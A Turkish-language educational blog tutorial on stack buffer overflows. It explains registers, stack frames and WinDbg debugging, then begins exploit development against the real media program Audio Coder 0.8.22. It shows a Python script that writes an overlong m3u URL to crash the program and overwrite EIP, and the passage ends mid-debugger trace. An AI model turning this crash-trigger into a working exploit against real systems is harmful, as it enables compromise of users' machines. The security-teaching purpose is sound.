December 2013

Bellek Taşması Zafiyetleri

Giriş

Bu yazımızda Buffer Overflow ya da Türkçesi ile Bellek Taşması zafiyetlerinden bahsedeceğiz. Söz konusu zafiyeti örnek bir uygulama üzerinde inceleyecek ve exploit kodunu geliştirmeye çalışacağız.

Nasıl Okumalıyım?

Bu yazı, okuyucuların konu hakkında çok az şey bildikleri varsayımıyla hazırlandı. Başlangıç seviyesindeki okuyucuların yazıyı okuduktan sonra, incelenen exploiti kendi başlarına tekrar yazmaları, ya da Exploit-DB’deki benzer açıklara sahip uygulamaları alıp, uygulamalardaki açıkların exploitlerini -crash’ten başlayarak- yazmaları konuyu pekiştirme adına avsiye edilmektedir.

Eğer konuya hakimseniz, Crash’in Sebebi başlığındaki güvenlik açığına sebebiyet veren kodun WinDbg ile trace edilmesi dışında yazının ilginizi çekecek bir kısmı olacağını sanmıyorum.

Hata Buldum?

Yazı ile ilgili hata, iyileştirme ya da görüş bildirmek için yorum olarak yazabilir, e-mail atabilir yahut twitter üzerinden iletişime geçebilirsiniz.

Bellek Taşması Nedir?

Bellek taşması, sınırlı boyuttaki bellek alanına, planlanan miktarın üzerinde veri kopyalanınca yaşanan taşma durumudur. En klasik örneği vermek gerekirse:

char a[4];
strcpy(a, 'cok uzun bir metin');

Örnek C kodunu açıklamak gerekirse:

  1. A isimli 4 baytlık bir karakter dizisi tanımlandı.

  2. Fonksiyon yardımıyla bu karakter dizisine 18 karakterlik bir metin kopyalandı.

  3. Ayrılan alan 4 baytlıktı, 18 karakter kopyalamaya çalıştığımızda ayırdığımız bellek taşacak ve geri kalan 14 karakter belleğin kenarındaki diğer bellek alanlarına yazılacak.

Eğer belleği taşırıp diğer hafıza alanlarına yazılacak baytlar saldırgan tarafından kontrol edilebiliyorsa, programın akışını kontrol edebilmek ya da değiştirmek mümkün olur. Nasıl yapılacağını anlatmadan önce bir takım önbilgilerden bahsetmek gerekir.

Temel Bilgiler

Bellek taşması dediğimiz hadiseyi anlatabilmek için bazı asgari temellere değinmemiz gerekiyor. Zira yazının geri kalan kısmı bu bilgiler üzerine inşa edilecek.

Register’lar

IA-32 mimarisindeki genel kullanımlı registerlara hızlı bir bakış atacağız.

Bütün registerların ilk harfi olan E extended, 16 bitlik mimariden extend edilerek, 32 bit olduğu manasına gelmektedir.

  • EAX: Akümülatör. Aritmetik işlemlerde bolca kullanılır. Ek olarak fonksiyonların geri dönüş değerleri de bu register’da saklanır.

  • EBX/EDX

  • ECX: Sayaç (counter). Döngülerde sayaç değişkeni olarak kullanılır. Ayrıca Object Oriented dillerinde geliştirilmiş yazılımlarda this pointer’inin değerini tutar.

  • ESP: Stack pointer. Daha sonra açıklayacağımız stack veri yapısının son giren (ya da diğer bir deyiş ile ilk çıkacak) elemanını gösterir.

  • EBP: Base pointer. Stack veri yapısının tabanını (ilk giren, son çıkacak elemanı) gösterir.

  • ESI/EDI: Source Index / Destination Index

  • EIP: Instruction pointer. CPU’nun an itibariyle code segment’i içerisindeki hangi instruction’i çalıştıracağını gösterir.

Program Hafızası

Çalıştırılabilir (executable) bir Win32 uygulaması hafızaya yüklendiğinde program verileri belli hafıza alanlarında tutulur. Bu başlı başına incelenmesi gereken uzun bir konu lakin olayı anlamak için yeterli bilgiye burada değineceğiz.

Code Segment

İşlemcinin çalıştırdığı makine komutlarının bulunduğu bölge. EIP register’ı bu bölgeden bir hafızaya işaret eder. Sadece okunabilir ve yazılamaz (read-only) bir alandır.

Data Segment

Global, statik değişkenlerin ve heap’in (program çalışırken edinilen kaynakların -malloc- tutulduğu veri yapısı) tutulduğu bölge. Program çalışırken değiştirilebilir (writable) bir bölgedir.

Stack Segment

Stack, LIFO (Last in first out) diye tabir edilen, ilk girenin son, son girenin ilk olarak çıkabileceği bir veri yapısıdır. PUSH işlemi ile stack’e yeni bir eleman eklenirken, POP işlemi ile stack’in en üstündeki eleman stack’ten çıkarılır. Çıkarılır derken, veri yapıları dersi almış ya da konu ile ilgili olanlar bilir, genelde POP işlemi stack’in en üstündeki elemanın çıkarılmasından ziyade orayı gösteren pointer’in değerinin değiştirilmesidir.

İşletim sistemi, her thread (hafif-sıklet process) için yeni bir stack ayırır. Stack yeni oluşturulduğunda EBP ve ESP register’ları aynı yeri gösterir. Stack’e eleman PUSH edildikçe EBP register’i sabit kalırken, ESP register’ının değeri gittikçe azalır.

Her fonksiyon çağrısında, şu bilgiler stack’e PUSH edilir: fonksiyon parametreleri, EBP ve o anki instruction pointer (EIP).  Çağrılan fonksiyonun işlemi bitip geri döndürüldüğünde stack’e daha önce PUSH edilmiş olan register’lar tekrar yerli yerine atanır. Bu şekilde programın kaldığı yerden devamı mümkün olur.

int main()
{
     int a=1;
     samplefunc(a,'another parameter');
}

Yukarıdakı kod parçası için, samplefunc çağrıldıktan sonra stack yapısı aşağıdaki gibi olur:

Bir önceki fonksiyon EBP’si
main fonksiyonu yerel değişkenleri
Fonksiyona geçilen parametreler
main fonksiyonu içerisindeki dönüş adresi
Fonksiyon girişindeki ESP: main fonksiyonu EBP’si
Fonksiyon içerisindeki EBP: Fonksiyon yerel değişkenleri
Fonksiyon içerisindeki ESP:  …

Fonksiyon Çağrıları

Stack Frame’inin Oluşturulması

Her fonksiyon başlangıcında aşağıdaki şekilde stack çerçevesi oluşturulur.

push ebp
mov ebp, esp

İlk instruction şu anki base pointer’i (EBP) stack’te saklar. Söz konusu fonksiyonun çalışması bitince, bu saklanan değer tekrar EBP’ye yüklenecek ve execution kaldığı yerde devam edebilecektir. İkinci instruction ile de şu anki stack pointer’ı (ESP), base pointer’ına (EBP) atanmakta.

Bu şekilde, fonksiyonun yerel değişkenlerine erişirken, EBP-X formatında bu pointer’ı kullanabiliriz. Fonksiyona geçilen parametrelere erişmek için de EBP+X pointer’ini kullanabiliriz.

EBP’nin değeri fonksiyon çalışırken değiştirilmez, değiştirilirse stack frame’i bozulmuş olur, işler karışır.

Geri Dönüş

Bir fonksiyondan geri dönüş, aşağıdaki instruction ile mümkün olur.

ret

Fonksiyon sonunda ret isimli instruction o an ESP pointer’inin gösterdiği adrese geri dönüş yapılmasını sağlar. Stack’teki yerel değişkenler ve diğer veriler fonksiyon sonunda ret instruction’ına gelinceye kadar POP işlemi ile stack’ten çıkartılırlar.  Bizim inceleyeceğimiz örneğin calling convention’u cdecl olduğu için, stack’e PUSH edilen parametrelerin stack’ten temizlenmesi fonksiyon çağrıcısının bloğunda yapılacak. Eğer calling convention’i stdcall  olsaydı, stack’in temizlenmesi çağrılan fonksiyon tarafından yapılmak zorunda olacaktı, bu da RET instruction’ina geçilecek parametre ile mümkün olacaktı. Örneğin:

ret 4

Fonksiyonun geri dönüş değeri EAX register’ında tutulur.

Fonksiyon Çağırmak

Fonksiyon çağrısı CALL instruction’i ile yapılır. Fonksiyon çağrılmadan önce, fonksiyona geçilecek parametrelerin stack’e PUSH edilmiş olması gerekir. Elimizde şöyle bir C kodu olsun 1.

int callee(int, int, int);

int caller(void)
{
	int ret;

	ret = callee(1, 2, 3);
	ret += 5;
	return ret;
}

Bu kodu dissasemble edersek:

	push	ebp
	mov	ebp, esp
	push	3
	push	2
	push	1
	call	callee
	add	esp, 12
	add	eax, 5
	pop     ebp
	ret
  • 1. ve 2. satırda stack frame’i oluşturuldu.
  • Parametreler ters sıra ile (cdecl gereği) stack’e PUSH edildi
  • 6. satırda fonksiyon çağrısı yapıldı.
  • 7. satırda, daha önce stack’e PUSH edilmiş 3 parametre ( 3 x sizeof(int) =12 byte), stack pointer’ının kaydırılmasıyla temizlenmiş oldu. Bu yine cdecl gereği çağrıcı fonksiyonun içerisinde yapıldı, eğer stdcall convention’i kullanılmış olsaydı callee fonksiyonunun içerisinde bu temizleme işlemi yapılacaktı.
  • 8. satırda geri dönüş değerine 5 eklendi.
  • 9. satırda bir önceki fonksiyona geri dönüş yapılmadan önce, stack frame düzeltildi.
  • 10. satırda bir önceki fonksiyona geri dönüş yapıldı, dönüş değeri de EAX içindeki sayı.

Bir Örnek

Visual Studio 2010 Express Edition üzerinde yeni bir C++ projesi 2 oluşturup, aşağıdaki kodu derleyin.

#include <string.h>

void copy_source(char * source)
{
	char bellek[8];
	strcpy(bellek,source);
}

int main()
{
	copy_source("test");
}

Aşağıdaki ayarlar sayesinde en basit ve anlaşılır kodu üreteceğiz.

Proje ayarlarından:

  • C/C++ > Code Generation > Buffer Security Check → Disabled

  • C/C++ > Code Generation > Basic Runtime Checks → Default

  • C/C++ > Optimization > Optimization → Disabled

  • C/C++ > Optimization > Enable Intrinsic Functions → No

Kod derlendikten sonra oluşan EXE dosyasını WinDbg isimli araç ile debug ediyoruz.

  1. WinDbg’i açtıktan sonra File > Open Executable menüsünden oluşan EXE dosyasını açıyoruz.

  2. WinDbg ekranına, WinDbg ekranında en altta bulunan komut satırına, şu komutu giriyoruz: ‘uf main’. Bu komut ile main fonksiyonunu dissasemble ediyoruz ve çıktısı açıklamarıyla birlikte aşağıda.

Devam etmeden önce ‘bp StackWalkthrough!main’ komutu ile main fonksiyonu başına bir breakpoint koyarsak takip etmemiz daha kolay olur. Sonrasında ‘g’ komutu ile devam ediyoruz.

0:000> uf main
StackWalkthrough!main:
00401020 push    ebp
00401021 mov     ebp,esp

Buraya kadar olan bölümde, öncelikli olarak EBP stack’e PUSH edildi. Sonrasında ESP’nin değeri EBP’ye atandı. Böylece yeni bir stack frame’i oluşturulmuş oldu. Şu an ESP ve EBP aynı adrese sahipler ve stack’in aynı bölgesini gösteriyorlar. Onların gösterdiği adresin 4 bayt altına 3 ise orjinal EBP yedeklendi.

Bir sonraki adıma devam etmek için WinDbg ekranında ‘t’ komutunu giriyoruz.

00401023 push    offset StackWalkthrough!__security_cookie_complement+0x4 (00403020)

Stack’e bir şeyin adresi PUSH edildi. O adreste ne olduğunu görmek için WinDbg ekranında şu komutu giriyoruz:

0:000> da StackWalkthrough!__security_cookie_complement+0x4

00403020  “test”

Burada kullanılan ‘da’ dediğimiz komutun anlamı ‘dump ascii’.

Devam ediyoruz ‘t’ ile.

0:000> t
eax=00343158 ebx=00000000 ecx=78b53714 edx=00000000 esi=00000001 edi=00403380
eip=00401028 esp=0012ff78 ebp=0012ff7c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
StackWalkthrough!main+0x8:

00401028 e8d3ffffff      call    StackWalkthrough!copy_source (00401000)

Fonksiyon çağrısı yapılıyor. Şu anda stack’in durumuna bakalım. Stack’in tabanı (EBP) 0012ff7c, tavanı ise (ESP) 0012ff78 adresini gösteriyor. Bakalım stack’te ne var?

0:000> d esp

0012ff78  00403020 0012ffc0 004011a1 00000001

Görüldüğü üzere 0012ff78 adresinde 00403020 adresi var. Bu adreste ‘test’ string’i olduğunu bir önceki adımda göstermiştik.

Bu fonksiyonda ne yapıldığını, main fonksiyonunun analizi bittikten sonra inceleyeceğiz.

0040102d add     esp,4

Stack’e daha önce push edilen parametre stack’ten çıkartıldı.

00401030 xor     eax,eax

Bu da ASM kod okurken göreceğiniz klasik motiflerden birisidir. Bu instruction’ının meali  ‘eax = 0’ dır. Fonksiyon bittikten sonra geri dönen değer EAX üzerinden aktarıldığı için, main fonksiyonu 0 değerini döndürecektir.

00401032 pop     ebp 

Bu komut ile main fonksiyonu için oluşturulmuş stack frame’i yok edilmiş ve main fonksiyonunu çağıran fonksiyonun stack frame’i tekrar aktif hale getirilmiştir.

00401033 ret

Bu instruction ile main fonksiyonu bitmiş ve main fonksiyonunu çağıran fonksiyona geri dönülmüştür. Geri dönüş değeri, EAX üzerinde taşındığı için 0 olacaktır.

Şimdi ise 00401028 adresinde çağrılan ‘copy_source’ fonksiyonunu incelemek için, ‘.restart’ komutuyla debugging sürecini tekrar başlatalım ve ‘bp copy_source’ komutuyla copy_source fonksiyonu başlangıcına breakpoint koyalım.

0:000> uf copy_source
StackWalkthrough!copy_source:
00401000 push    ebp
00401001 mov     ebp,esp

Buraya kadar ki mevzuu bir önceki adımda açıklanmıştı, stack frame’i oluşturuldu.

00401003 sub     esp,8

Sonrasında ise ESP’den 8h (yani 10’luk tabanda 8 * 1 = 8) çıkarıldı. Bu işlemin meali ise, copy_source fonksiyonundaki yerel değişkenler için 8 baytlık yer ayrılmasıdır.

0:000> t
eax=00343158 ebx=00000000 ecx=78b53714 edx=00000000 esi=00000001 edi=00403380
eip=00401006 esp=0012ff68 ebp=0012ff70 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212

StackWalkthrough!copy_source+0x6:
00401006 8b4508          mov     eax,dword ptr [ebp+8] ss:0023:0012ff78=00403020

Bu instruction’da EBP+8 adresindeki dword, EAX’a yüklendi. Peki EBP+8 ‘de ne vardı? Bir önceki analizimizde ‘main’ fonksiyonunda stack oluşturulmuştu. O oluşturulan stack’te (şimdi geçerli olan frame değil) ne olduğuna bakalım tekrar.

0:000> d ebp

0012ff70  0012ff7c 0040102d 00403020 0012ffc0

Stack’te bulunan her şeyi açıklamak gerekirse:

Adres

İçindeki

Meal

0012ff70

0012ff7c

copy_source fonksiyonu başında PUSH edilen EBP. Fonksiyon bittikten sonra şu anki stack frame yok edilsin, eski haline getirilsin diye saklanıyor.

0012ff74

0040102d

Return adresi. copy_source fonksiyonu bittikten sonra dönülecek, main fonksiyonu içerisinde adres.

0012ff78

00403020

copy_source fonksiyonuna geçilen ‘test’ string parametre.

0012ff7c

0012ffc0

main fonksiyonu başında PUSH edilen EBP

Görüldüğü üzere EAX’a ‘test’ stringinin adresi olan 00403020 yüklenmiştir.

Devam edelim.

00401009 push    eax

Stack’e ‘test’ string’inin adresi PUSH edildi.

0040100a lea     ecx,[ebp-8]

Instruction bir lea (load effective address) instruction’idir.  Bellek değişkeninin adresi ECX’e yüklendi. Bu sefer stack’ten değil de yerel değişkenlerden birisinin adresi ECX’e yüklendi.

Bu da aklınızda tutmanız gereken önemli bir bilgidir, EBP’nin nasıl oluşturulduğuna bağlı olarak genelde EBP+X ile stack üzerinden gönderilen parametrelere, EBP-X ile yerel değişkenlere erişiyoruz.

0040100d push    ecx

Stack’e yerel değişkenin adresi PUSH edildi.

0040100e call    dword ptr [StackWalkthrough!_imp__strcpy (004020a0)]

Burada strcpy fonksiyonu çağırıldı. Devam ediyoruz.

00401014 add     esp,8

Stack’e PUSH edilmiş iki adet parametre, ‘test’ stringi ve yerel değişken adresi, stack’ten temizlendi.

00401017 mov     esp,ebp
00401019 5d pop     ebp

Stack frame’i düzeltildi.

0040101a c3 ret

Bu örnek bu konuda olabilecek en basitlerinden. Gerçek dünyada reverse engineering yaparken bu kadar basit şeyler görmeniz, çok mümkün değil.

Bu örneği tamamen anlamadan yazıya devam etmenizi tavsiye etmem. Anlayana kadar tekrar okuyabilir ve anlaşılmayan yerleri yorum olarak sorabilirsiniz.

Gerçek Bir Örnek

Şimdi, bir uygulamada bulunmuş gerçek bir güvenlik açığını inceleyecek ve adım adım ilerleyerek exploit kodunu yazacağız. Örnek uygulama seçmek için exploit-db’deki son buffer overflow exploitlerine göz attım.

Örnek uygulama : Audio Coder 0.8.22 (32 bit sürümü). Bu adresten download edebilirsiniz. Bu yazıda inceleyip, şu exploit’i baştan yazacağız. Exploit’e bakarsanız eğer, programa m3u uzantılı dosyaları verebiliyorsunuz ve bir şekilde bu dosyaları doğru handle edemeyip güvenlik açığına sebep oluyor. Adım adım güvenlik açığını inceleyecek, hem de konunun gerçekten anlaşılması için açığın ne şekilde oluştuğundan bahsedeceğiz. Yazıda mona.py ya da ona benzer, exploit geliştirmeyi kolaylaştıracak araçlar kullanılmayacak. Bundaki amacımız, her adımı derinlemesine anlatmak.

Gerekli Araçlar

Crash’i tetikleyelim

file="exp-1-crash.m3u"
buf="http://" + "A"*993;
try:
	writeFile = open (file, "w")
	writeFile.write( buf )
	writeFile.close()
	print "[*] File successfully created!";
except:
	print "[!] Error while creating file!";

Bu python kodu ile ilk dosyamızı oluşturuyoruz. Oluşan m3u dosyasına çok uzun bir URL girdik.

Screen Shot 2013-12-14 at 7.22.15 PM

WinDbg’ı açıp, File > Open Executable’a tıkadıktan sonra C:\Program Files\AudioCoder klasörü altındaki çalıştırılabilir program dosyası AudioCoder.exe ‘yi seçelim. WinDbg ile çalıştırılabilir dosya açılır açılmaz şu ekranla karşılaşıyoruz:

(5ec.930): Break instruction exception – code 80000003 (first chance)

eax=00251eb4 ebx=7ffdd000 ecx=00000002 edx=00000004 esi=00251f48 edi=00251eb4
eip=7c90120e esp=0012fb20 ebp=0012fc94 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202

ntdll!DbgBreakPoint:
7c90120e cc int 3

Bazı modüller yüklendikten sonra, henuz hiçbir instruction çalıştırılmadan debugger kontrolü bize verdi. Burada durduğu instruction bir int3, yani bir software breakpoint’indeyiz şu anda. Yazıyı daha da uzatıp karmaşık bir hale getirmek istemediğimden breakpoint’lerin detaylarına şimdlilik pek girmeyeceğim.

Bu noktada ‘g’ komutu ile programın çalışmasını devam ettirebiliriz. Programın normal akışına müdahale etmeden, m3u dosyasını verdiğimizde nasıl davranıyor onu görelim. ‘g’ komutunu girdikten sonra AudioCoder normal çalışmasına devam edecek, biz de AudioCoder üzerinde File > Add File ekranından, bir önceki adımda oluşturduğumuz ‘exp-1-crash.m3u’ isimli dosyayı seçelim. Sonuç:

(5ec.930): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.

eax=004b5f30 ebx=00208760 ecx=0024cb70 edx=00000285 esi=7e42f3c2 edi=004b5f30
eip=41414141 esp=0012e4fc ebp=0012e714 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202

<Unloaded_.dll>+0x41414130:
41414141 ?? ???

Burada 41 değerinin 16’lık tabanda olduğu hatırlanırsa, 10’luk tabanda 65 ve ASCII tablosunda da ‘A’ karakterinin değerine dek gelecektir. Dosyaya yazdığımız A baytları bir şekilde EIP ‘nin üzerinde yazıldı.

Vanilla buffer overflow dediğimiz türde bir açık, çünkü doğrudan dosyaya yazdığımız URL baytları üzerinden EIP kontrolünü sağladık. Günümüz dünyasının ticari yazılımlarında bu kadar kolay şekilde EIP kontrolü almak çok mümkün değil.

Satranç oyuncuları bilirler, iki tarafında eşit sayıda piyonu var, oyun sonunda vezir kanadında karşı tarafa göre bir piyon fazlanız var ise muhtemel konumların çok büyük kısmında üstünsünüz ve teorik olarak oyunu kazandınız demektir. Ama teoriyi pratiğe dökebilmek için dersinizi iyi çalışmış olmanız, o konumun kazanç prensiplerini bilmemiz, nasıl kazanca gidildiğini daha önce pratik yapmış olmanız gerekir. Aksi takdirde oyun sırasında süre baskısıyla doğru şekilde hesaplayamayabilirsiniz. Bu konudaki EIP kontrolü de buna benzer. EIP kontrolü sağlayabildikten sonra genellikle 4 konu kapandı ve açık exploit edilebilir demektir, ama exploit kodunu yazabilmek için o konumun senaryolarında (stack cookies, safeSEH, DEP, ASLR vs.) nasıl hareket edeceğinizi biliyor olmanız gereklidir.

Burada instruction pointer’inin değeri (EIP) 41414141. O hafıza alanında da erişim hakkımız bulunmadığından,  Access violation – code c0000005 (first chance) şeklinde bir exception aldık.

0:002> !address 0x41414141
3ec5d000 : 3ec5d000 – 1cc03000
Type 00000000
Protect 00000001 PAGE_NOACCESS
State 00010000 MEM_FREE
Usage RegionUsageFree

Crash’in Sebebi

Bu adımda crash’i tetikleyen instruction’lari bulmaya ve crash’in sebebini anlamaya çalışacağız. Benim burada izleyeceğim yöntem, girdimizi memory’de takip ederek nasıl operasyonlardan geçip en sonunda stack’e kopyalandığını tespit etmek. Eminim ki, bana göre Reverse Engineering tecrübesi daha fazla olan arkadaşlar crash’e sebep olan bölümü çok daha pratik şekilde bulabilir.

İncelemeye başlamadan önce temel prensibimizden bahsedelim. Eğer ne aradığınızı bilmiyorsanız,  sayfalarca instruction arasında kaybolmanız çok doğal. Biz de WinDbg içerisinde sakat görünen kopyalama işlemlerine bakacağız.

Eğer AudioCoder’i bir önceki adımda debugger ile değil de doğrudan çalıştırmış olsaydık, dosyayı açar açmaz yazılımın crash olduğunu görecektik. Crash olmasının sebebi verdiğimiz dosyanın içeriği, yazılım içerisinde işlenirken bir şekilde EIP ‘nin üzerinde yazılması. EIP’nin her fonksiyon çağrısında stack’e PUSH edildiği ve her fonksiyondan dönerken ret instruction’ininda, stack’ten POP edilip EIP’e atandığı ve programın çalışmasının bu şekilde kaldığı yerden devam ettiğini daha önce anlatmıştık. Burada da olan şey, sağladığımız dosya içerisindeki URL, muhtemelen stack’te URL için ayrılmış olan yere sığmadı ve stack’teki diğer elemanların üzerinde yazıldı. Normalde crash’in sebebini uzun uzadıya incelemeden, doğrudan hangi bayların EIP kontrolünü sağladığını çok pratik şekilde tespit edip exploit’i yazmaya devam edebiliriz 5, ama bellek taşmalarının daha iyi anlaşılması adına burada biraz daha inceleme yapacağız.

Şimdi, dosya içeriğinin hafızanın hangi alanına yazıldığını görmek için aşağıda belirtilen WinDbg komutu ile, hafızada arama yapacağız.

0:000> s -a 0 L?80000000 “http://AA”
0024f218 68 74 74 70 3a 2f 2f 41-41 41 41 41 41 41 41 41 http://AAAAAAAAA
004bf900 68 74 74 70 3a 2f 2f 41-41 41 41 41 41 41 41 41 http://AAAAAAAAA

Evet iki farklı bölgede görüyoruz. Birisi 004bf900, diğeri de 0024f218. Debugging sürecini ‘.restart’ komutuyla başlattıktan sonra, aynı dosyayı tekrar programa verip crash’i tekrar tetikledikten sonra arama komutunu tekrar ediyoruz ve bu seferki sonuç şu şekilde:

0:000> s -a 0 L?80000000 “http://AA”
004bf900 68 74 74 70 3a 2f 2f 41-41 41 41 41 41 41 41 41 http://AAAAAAAAA
02850618 68 74 74 70 3a 2f 2f 41-41 41 41 41 41 41 41 41 http://AAAAAAAAA

İki farklı aramada, değişmeyen adres 004bf900 oldu. Bu memory alanına yapılacak erişimlere breakpoint koyup, ilgili verinin etrafında biraz daha dolaşalım. Amacımız, bu adresteki verinin bir başka adrese kopyalanması işlemlerini takip etmek ve muhtemel güvenlik açığı içeren kopyalama işlemlerini (strcpy vs.)  tespit edip, EIP’nin üzerine nerede yazıldığını tespit etmek.

Debugging’i ‘.restart’ ile baştan başlatalım, ilk duraklama anında ‘g’ ile devam edelim ve bütün modüller yüklendikten sonra, WinDbg üzerinde Debug> Break’e tıklayak kontrolü debugger’a getirelim. Sonrasında şu komutu giriyoruz.

0:004> ba r2 004bf900
0:004> g

Bu komut (break on access), 004bf900-004bf902 adres aralığına erişim anında, memory breakpoint ile programın akışını kesecek ve daha fazla inceleme yapmak için kontrolü bize verecek. ‘g’ komutu ile programı çalıştırmaya devam ediyoruz. Tekrar exp-1-crash.m3u dosyasını yükleyince, bu sefer EIP kontrolünden önce breakpoint’imize takılıyor.

Breakpoint 0 hit
eax=004bf900 ebx=000003e7 ecx=0012df68 edx=0012e1e8 esi=0015fd18 edi=0012e1e8
eip=00475040 esp=0012defc ebp=0012defc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
*** WARNING: Unable to verify checksum for image00400000
*** ERROR: Module load completed but symbols could not be loaded for image00400000
image00400000+0x75040:
00475040 ff02 inc dword ptr [edx] ds:0023:0012e1e8=004bf900

Evet o memory alanına ilk erişim yapıldı. Görüntüye göre EDX stack üzerindeki bir parametreye pointer tutuyor ve o değişken de bizim breakpoint koyduğumuz 004bf9000. Hemen o memory bölgesine bizim dosya ile verdiğimiz URL yüklendi mi, yüklenmedi mi onu kontrol edelim.

0:000> dd poi(edx)
004bf900 00000068 00000000 00000000 00000000
004bf910 00000000 00000000 00000000 00000000
004bf920 00000000 00000000 00000000 00000000
004bf930 00000000 00000000 00000000 00000000
004bf940 00000000 00000000 00000000 00000000
004bf950 00000000 00000000 00000000 00000000
004bf960 00000000 00000000 00000000 00000000
004bf970 00000000 00000000 00000000 00000000

0:000> da poi(edx)
004bf900 “h”

Sadece bir karakter yazılmış bu alana, o da 68h=104d=’h’ karakteri. Anlaşılan bizim dosyada belirttiğimiz URL – http://AAA.. – bu alana kopyalanmaya başlanmış. Bu instruction da inc instruction’i. Bunun anlamı, EDX’in işaret ettiği pointer’in değeri bir arttırılarak bir sonraki karakterin, bir sonraki adrese kopyalanması. Devam ediyoruz ‘g’ ile.

0:000> g
Breakpoint 0 hit
eax=004bf901 ebx=000003e6 ecx=0012df74 edx=0012e1e8 esi=0015fd18 edi=0012e1e8
eip=00475040 esp=0012defc ebp=0012defc iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
image00400000+0x75040:
00475040 ff02 inc dword ptr [edx] ds:0023:0012e1e8=004bf901

Tekrar breakpoint’e dek geldik. Geçen instruction’da pointer’in değeri bir arttırılmıştı, şimdi ondan ötürü 004bf901 oldu. Bu sefer onun değerine bakmak gerekirse:

0:000> da poi(edx)-1
004bf900 “ht”

Sanırım artık şu an itibariyle, dosya içeriği bayt bayt 004bf900 adresine kopyalan rutinin içerisinde olduğuna eminiz. Ondan ötürü aynı instruction noktasında breakpoint gelince, doğrudan ‘g’ komutu ile devam edeceğim. Ilk olarak şu instruction’da durdu:

0:000> g
Breakpoint 0 hit
eax=004bf900 ebx=0012e24c ecx=004bf498 edx=00150608 esi=00000000 edi=004bf498
eip=0041a73a esp=0012e1c8 ebp=7e42f3c2 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
image00400000+0x1a73a:
0041a73a 741d je image00400000+0x1a759 (0041a759) [br=0]

Burada eax’in değeri bizim breakpoint’in tetiklenmesine sebep oldu. Bu instruction ile, EAX’in 0 olup olmadığına bakılıyor. Muhtemelen null pointer kontrolü. Bir şeylerin kopyalanacağının habercisi olabilir.

0:000> s -a 0 L?80000000 “http://A”
02853328 68 74 74 70 3a 2f 2f 41-41 41 41 41 41 41 41 41 http://AAAAAAAAA
004bf900 68 74 74 70 3a 2f 2f 41-41 41 41 41 41 41 41 41 http://AAAAAAAAA

Hazır durmuşken, hafızada girdigimiz adresi tekrar arattık ve bir yerde daha olduğunu gördük. Oraya da hemen breakpoint koyuyoruz.

0:000> ba r2 02853328

Daha önce söylediğimiz üzere, bu breakpoint koyduğumuz hafıza adresinden verinin kopyalanıp stack’e yazıldığı işlemleri takip etmeye çalışıyoruz, o yüzden MOV, REP MOV gibi kopyalama instruction’lari dışındakileri incelemeden devam edeceğim.

0:000> g
Breakpoint 0 hit
eax=00000068 ebx=00000000 ecx=00001003 edx=004bf900 esi=00001000 edi=004bf900
eip=7c809edc esp=0012dee8 ebp=0012df14 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
kernel32!IsBadReadPtr+0x33:
7c809edc 8d46ff lea eax,[esi-1]

Burada EDX ve EDI bizim URL’i gösteriyor, yani 004bf900. Ama farkettiyseniz şu anda kernel32 modulunun IsBadReadPtr isimli rutininin içerisindeyiz. Burada process’in bu pointer’ın gösterdiği memory alanına erişip erişemeyeceği kontrol ediliyor, ama kopyalama yapılmadığı kesin olduğu için, ilgilenmeden devam ediyorum. Tekrar programın kendi modüllerine düşene kadar ‘g’ ile devam edebiliriz. Ama biraz daha WinDbg pratigi yapmak isteyenler breakpoint’lerin tümünü de-aktif hale getirip, pa komutu ile modüle tekrar düşeceği instruction adresine kadar da otomatik şekilde devam ettirebilir.

0:000> g
Breakpoint 1 hit
eax=02853328 ebx=0012e24c ecx=00000001 edx=00150608 esi=00000008 edi=004bf498
eip=0041a73a esp=0012e1c8 ebp=7e42f3c2 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
image00400000+0x1a73a:
0041a73a 741d je image00400000+0x1a759 (0041a759) [br=0]

Tekrar aynı instruction’a düştük. Bunu yukarıda incelemiştik, muhtemelen veri bir başka memory alanına daha kopyalanacak. Sonrasında yine aynı şekilde kernel32!IsBadReadPtr ‘ın içine düşüyoruz, aynı şekilde modüle geri dönene ve MOV ya da REPMOV gibi bir instruction görene kadar ‘g’ ile devam edelim. Bir kaç noktadan geçtikten sonra şuraya düşüyoruz:

0:000> g
Breakpoint 1 hit
eax=02853710 ebx=02853328 ecx=000003a8 edx=000003e8 esi=02853368 edi=0024f6a0
eip=0046e54a esp=0012e260 ebp=0012e3d8 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010293
image00400000+0x6e54a:
0046e54a f3a4 rep movs byte ptr es:[edi],byte ptr [esi]

Burada ESI pointer’inin gösterdiği yerdeki veri alınıp, EDI’ye kopyalanıyor. ESI ‘deki pointer bizim uzun URL’imizi işaret ediyor. Ama EDI’deki pointer stack üzerinde bir yeri işaret etmediği için, güvenlik zafiyetine sebep olan kopyalama işlemi bu olmamalı. Stack bölgeleri, ESP ve EBP pointer’larında görüleceği üzere 0012 ile başlayanlar. ‘g’ ile devam ediyoruz kopyalama işlemi görene kadar ve neticesinde şuraya düşüyoruz.

0:000> g
Breakpoint 1 hit
eax=00000068 ebx=7e42f3c2 ecx=02853328 edx=fd8db0d0 esi=004b5f30 edi=00a501e6
eip=0041f219 esp=0012e398 ebp=0012e714 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000283
image00400000+0x1f219:
0041f219 88040a mov byte ptr [edx+ecx],al ds:0023:0012e3f8=24

